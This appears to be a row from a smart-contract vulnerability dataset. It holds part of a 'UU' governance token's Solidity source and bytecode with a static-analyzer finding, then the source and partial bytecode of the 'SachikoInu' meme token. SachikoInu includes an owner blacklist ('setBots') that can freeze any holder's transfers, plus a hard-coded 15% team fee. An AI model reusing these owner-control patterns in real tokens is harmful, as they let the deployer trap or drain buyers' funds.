* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "UU::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "UU::delegateBySig: invalid nonce");
require(now <= expiry, "UU::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "UU::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "UU::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "UU::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "UU::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "UU::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "UU::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "UU::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "UU::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063b4b5ea571161007c578063b4b5ea57146103e8578063c3cda5201461040e578063d505accf14610455578063dd62ed3e146104a6578063e7a324dc146104d4578063f1127ed8146104dc57610137565b806370a0823114610320578063782d6fe1146103465780637ecebe001461038e57806395d89b41146103b4578063a9059cbb146103bc57610137565b806330adf81f116100ff57806330adf81f14610251578063313ce56714610259578063587cde1e146102775780635c19a95c146102b95780636fcfff45146102e157610137565b806306fdde031461013c578063095ea7b3146101b957806318160ddd146101f957806320606b701461021357806323b872dd1461021b575b600080fd5b610144610536565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e5600480360360408110156101cf57600080fd5b506001600160a01b03813516906020013561055b565b604080519115158252519081900360200190f35b610201610617565b60408051918252519081900360200190f35b610201610627565b6101e56004803603606081101561023157600080fd5b506001600160a01b03813581169160208101359091169060400135610642565b610201610783565b61026161079e565b6040805160ff9092168252519081900360200190f35b61029d6004803603602081101561028d57600080fd5b50356001600160a01b03166107a3565b604080516001600160a01b039092168252519081900360200190f35b6102df600480360360208110156102cf57600080fd5b50356001600160a01b03166107be565b005b610307600480360360208110156102f757600080fd5b50356001600160a01b03166107cb565b6040805163ffffffff9092168252519081900360200190f35b6102016004803603602081101561033657600080fd5b50356001600160a01b03166107e3565b6103726004803603604081101561035c57600080fd5b506001600160a01b038135169060200135610807565b604080516001600160601b039092168252519081900360200190f35b610201600480360360208110156103a457600080fd5b50356001600160a01b0316610a34565b610144610a46565b6101e5600480360360408110156103d257600080fd5b506001600160a01b038135169060200135610a64565b610372600480360360208110156103fe57600080fd5b50356001600160a01b0316610aa0565b6102df600480360360c081101561042457600080fd5b506001600160a01b038135169060208101359060408101359060ff6060820135169060808101359060a00135610b11565b6102df600480360360e081101561046b57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135610dd1565b610201600480360360408110156104bc57600080fd5b506001600160a01b0381358116916020013516611213565b610201611245565b61050e600480360360408110156104f257600080fd5b5080356001600160a01b0316906020013563ffffffff16611260565b6040805163ffffffff90931683526001600160601b0390911660208301528051918290030190f35b604051806040016040528060098152602001681555519d5d1c995b9960ba1b81525081565b6000806000198314156105715750600019610596565b61059383604051806060016040528060238152602001611b3b60239139611295565b90505b336000818152602081815260408083206001600160a01b0389168085529083529281902080546001600160601b0319166001600160601b038716908117909155815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a360019150505b92915050565b6b033b2e3c9fd0803ce800000081565b604051806043611bd482396043019050604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602380845291936001600160601b039091169285926106989288929190611b3b90830139611295565b9050866001600160a01b0316836001600160a01b0316141580156106c557506001600160601b0382811614155b1561076b5760006106ef83836040518060600160405280603b8152602001611ccb603b913961132f565b6001600160a01b03898116600081815260208181526040808320948a168084529482529182902080546001600160601b0319166001600160601b03871690811790915582519081529151949550929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a3505b61077687878361139c565b5060019695505050505050565b604051806052611b5e82396052019050604051809103902081565b601281565b6002602052600090815260409020546001600160a01b031681565b6107c83382611581565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106108475760405162461bcd60e51b8152600401808060200182810382526025815260200180611a856025913960400191505060405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff1680610875576000915050610611565b6001600160a01b038416600090815260036020908152604080832063ffffffff6000198601811685529252909120541683106108f1576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b03169050610611565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff1683101561092c576000915050610611565b600060001982015b8163ffffffff168163ffffffff1611156109ef57600282820363ffffffff1604810361095e611a1b565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b031691810191909152908714156109ca576020015194506106119350505050565b805163ffffffff168711156109e1578193506109e8565b6001820392505b5050610934565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b60405180604001604052806002815260200161555560f01b81525081565b600080610a8983604051806060016040528060248152602001611a6160249139611295565b9050610a9633858361139c565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610acb576000610b0a565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b9392505050565b60006040518080611bd4604391396040805191829003604301822082820190915260098252681555519d5d1c995b9960ba1b60209092019190915290507f60f112999ff96eb749ab4990a4f6522bf74783716047546b8c51bd04eb6dd312610b7761160b565b3060405160200180858152602001848152602001838152602001826001600160a01b03166001600160a01b0316815260200194505050505060405160208183030381529060405280519060200120905060006040518080611d06603a91396040805191829003603a0182206020808401919091526001600160a01b038c1683830152606083018b905260808084018b90528251808503909101815260a08401835280519082012061190160f01b60c085015260c2840187905260e2808501829052835180860390910181526101028501808552815191840191909120600091829052610122860180865281905260ff8c1661014287015261016286018b905261018286018a9052935191965092945091926001926101a28083019392601f198301929081900390910190855afa158015610cb5573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610d075760405162461bcd60e51b8152600401808060200182810382526024815260200180611bb06024913960400191505060405180910390fd5b6001600160a01b03811660009081526005602052604090208054600181019091558914610d7b576040805162461bcd60e51b815260206004820181905260248201527f55553a3a64656c656761746542795369673a20696e76616c6964206e6f6e6365604482015290519081900360640190fd5b87421115610dba5760405162461bcd60e51b8152600401808060200182810382526024815260200180611d406024913960400191505060405180910390fd5b610dc4818b611581565b505050505b505050505050565b6000600019861415610de65750600019610e0b565b610e0886604051806060016040528060228152602001611ca960229139611295565b90505b60006040518080611bd4604391396040805191829003604301822082820190915260098252681555519d5d1c995b9960ba1b60209092019190915290507f60f112999ff96eb749ab4990a4f6522bf74783716047546b8c51bd04eb6dd312610e7161160b565b3060405160200180858152602001848152602001838152602001826001600160a01b03166001600160a01b0316815260200194505050505060405160208183030381529060405280519060200120905060006040518080611b5e60529139605201905060405180910390208a8a8a600560008f6001600160a01b03166001600160a01b031681526020019081526020016000206000815480929190600101919050558b60405160200180878152602001866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b03168152602001848152602001838152602001828152602001965050505050505060405160208183030381529060405280519060200120905060008282604051602001808061190160f01b81525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611022573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661108a576040805162461bcd60e51b815260206004820152601d60248201527f55553a3a7065726d69743a20696e76616c6964207369676e6174757265000000604482015290519081900360640190fd5b8b6001600160a01b0316816001600160a01b0316146110f0576040805162461bcd60e51b815260206004820152601860248201527f55553a3a7065726d69743a20756e617574686f72697a65640000000000000000604482015290519081900360640190fd5b88421115611145576040805162461bcd60e51b815260206004820152601d60248201527f55553a3a7065726d69743a207369676e61747572652065787069726564000000604482015290519081900360640190fd5b846000808e6001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055508a6001600160a01b03168c6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258760405180826001600160601b0316815260200191505060405180910390a3505050505050505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b60405180603a611d068239603a019050604051809103902081565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b84106113275760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112ec5781810151838201526020016112d4565b50505050905090810190601f1680156113195780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b509192915050565b6000836001600160601b0316836001600160601b0316111582906113945760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156112ec5781810151838201526020016112d4565b505050900390565b6001600160a01b0383166113e15760405162461bcd60e51b815260040180806020018281038252603a815260200180611c17603a913960400191505060405180910390fd5b6001600160a01b0382166114265760405162461bcd60e51b8152600401808060200182810382526038815260200180611aaa6038913960400191505060405180910390fd5b6001600160a01b038316600090815260016020908152604091829020548251606081019093526034808452611471936001600160601b039092169285929190611ae29083013961132f565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b0396871617905592861682529082902054825160608101909352602e8084526114d99491909116928592909190611a339083013961160f565b6001600160a01b0383811660008181526001602090815260409182902080546001600160601b0319166001600160601b039687161790558151948616855290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a36001600160a01b0380841660009081526002602052604080822054858416835291205461157c92918216911683611679565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4611605828483611679565b50505050565b4690565b6000838301826001600160601b0380871690831610156116705760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156112ec5781810151838201526020016112d4565b50949350505050565b816001600160a01b0316836001600160a01b0316141580156116a457506000816001600160601b0316115b1561157c576001600160a01b0383161561175c576001600160a01b03831660009081526004602052604081205463ffffffff1690816116e4576000611723565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061174a8285604051806060016040528060268152602001611c836026913961132f565b905061175886848484611807565b5050505b6001600160a01b0382161561157c576001600160a01b03821660009081526004602052604081205463ffffffff1690816117975760006117d6565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006117fd8285604051806060016040528060258152602001611b166025913961160f565b9050610dc9858484845b600061182b43604051806060016040528060328152602001611c51603291396119c6565b905060008463ffffffff1611801561187457506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b156118d3576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b03851602179055611972565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b604080516001600160601b0380861682528416602082015281516001600160a01b038816927fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724928290030190a25050505050565b600081600160201b84106113275760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156112ec5781810151838201526020016112d4565b60408051808201909152600080825260208201529056fe55553a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f777355553a3a7472616e736665723a20616d6f756e742065786365656473203936206269747355553a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e656455553a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f206164647265737355553a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e636555553a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f777355553a3a617070726f76653a20616d6f756e74206578636565647320393620626974735065726d69742861646472657373206f776e65722c61646472657373207370656e6465722c75696e743235362076616c75652c75696e74323536206e6f6e63652c75696e7432353620646561646c696e652955553a3a64656c656761746542795369673a20696e76616c6964207369676e6174757265454950373132446f6d61696e28737472696e67206e616d652c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e74726163742955553a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f206164647265737355553a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747355553a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f777355553a3a7065726d69743a20616d6f756e742065786365656473203936206269747355553a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e636544656c65676174696f6e28616464726573732064656c6567617465652c75696e74323536206e6f6e63652c75696e74323536206578706972792955553a3a64656c656761746542795369673a207369676e61747572652065787069726564a265627a7a72315820f69f184361a4da39bb977dfd51dddb0330c1f7234aeae6a2e81a07506962117b64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 4,404 |
0x6833b2b57e9c402b08f466762ee2ec3cb8077a85
|
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SachikoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sachiko Inu";
string private constant _symbol = " Sachiko";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd576